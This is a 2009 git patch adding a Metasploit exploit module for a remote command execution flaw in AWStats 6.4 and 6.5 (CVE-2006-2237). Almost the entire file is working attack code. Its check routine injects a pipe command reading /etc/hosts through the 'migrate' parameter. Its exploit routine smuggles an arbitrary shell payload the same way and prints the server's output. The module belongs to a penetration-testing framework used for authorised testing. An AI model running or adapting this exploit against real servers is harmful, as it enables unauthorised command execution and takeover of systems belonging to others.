From 33ba28346d476768b7314168b2b637bdd75ed840 Mon Sep 17 00:00:00 2001 From: Patrick Webster Date: Thu, 15 Jan 2009 07:09:56 +0000 Subject: [PATCH] Added exploit module awstats_migrate_exec. git-svn-id: file:///home/svn/framework3/trunk@6155 4d416f70-5f16-0410-b530-b9f4589650da --- .../unix/webapp/awstats_migrate_exec.rb | 106 ++++++++++++++++++ 1 file changed, 106 insertions(+) create mode 100644 modules/exploits/unix/webapp/awstats_migrate_exec.rb diff --git a/modules/exploits/unix/webapp/awstats_migrate_exec.rb b/modules/exploits/unix/webapp/awstats_migrate_exec.rb new file mode 100644 index 0000000000..5c3d2c4a44 --- /dev/null +++ b/modules/exploits/unix/webapp/awstats_migrate_exec.rb @@ -0,0 +1,106 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/projects/Framework/ +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'AWStats migrate Remote Command Execution', + 'Description' => %q{ + This module exploits an arbitrary command execution vulnerability in the + AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based + payloads are recommended with this module. The vulnerability is only + present when AllowToUpdateStatsFromBrowser is enabled in the AWstats + configuration file (non-default). + }, + 'Author' => [ 'patrick' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision$', + 'References' => + [ + ['OSVDB', '25284'], + ['BID', '17844'], + ['CVE', '2006-2237'], + ['URL', 'http://awstats.sourceforge.net/awstats_security_news.php'], + ['URL', 'http://www.milw0rm.com/exploits/1755'], + ], + 'Privileged' => false, + 'Payload' => + { + 'DisableNops' => true, + 'Space' => 512, + }, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Targets' => [[ 'Automatic', { }]], + 'DisclosureDate' => 'May 04 2006', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]), + OptString.new('AWSITE', [true, "The AWStats config site name", "demo"]), + ], self.class) + end + + def check + res = send_request_cgi({ + 'uri' => datastore['URI'], + 'vars_get' => + { + 'migrate' => "|echo;cat /etc/hosts;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt" + } + }, 25) + + if (res and res.body.match(/localhost/)) + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + def exploit + command = Rex::Text.uri_encode("cd /tmp &&" + payload.encoded) + sploit = datastore['URI'] + "?migrate=|echo;echo%20YYY;#{command};echo%20YYY;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt" + + res = send_request_raw({ + 'uri' => sploit, + 'method' => 'GET', + 'headers' => + { + 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', + 'Connection' => 'Close', + } + }, 25) + + if (res) + print_status("The server returned: #{res.code} #{res.message}") + + m = res.body.match(/YYY\n(.*)\nYYY/m) + + if (m) + print_status("Command output from the server:") + print("\n" + m[1] + "\n\n") + else + print_status("This server may not be vulnerable") + end + else + print_status("No response from the server") + end + end + +end \ No newline at end of file